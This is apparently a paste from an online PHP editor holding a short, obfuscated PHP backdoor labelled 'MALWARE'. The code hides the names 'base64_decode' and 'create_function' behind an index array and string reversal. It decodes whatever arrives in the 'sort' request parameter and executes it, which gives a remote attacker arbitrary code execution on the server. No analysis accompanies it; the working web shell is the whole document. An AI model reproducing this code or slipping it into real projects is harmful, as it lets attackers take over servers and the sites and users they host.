Online PHP editor | refs for oMk2t

<?php if(isset($_REQUEST['sort'])){ $string = $_REQUEST['sort']; $array_name = ''; $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2"; $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7); foreach($ar as $t){ $array_name .= $alphabet[$t]; } $a = strrev("noi"."tcnuf"."_eta"."erc"); $f = $a("", $array_name($string)); // MALWARE $f(); exit(); }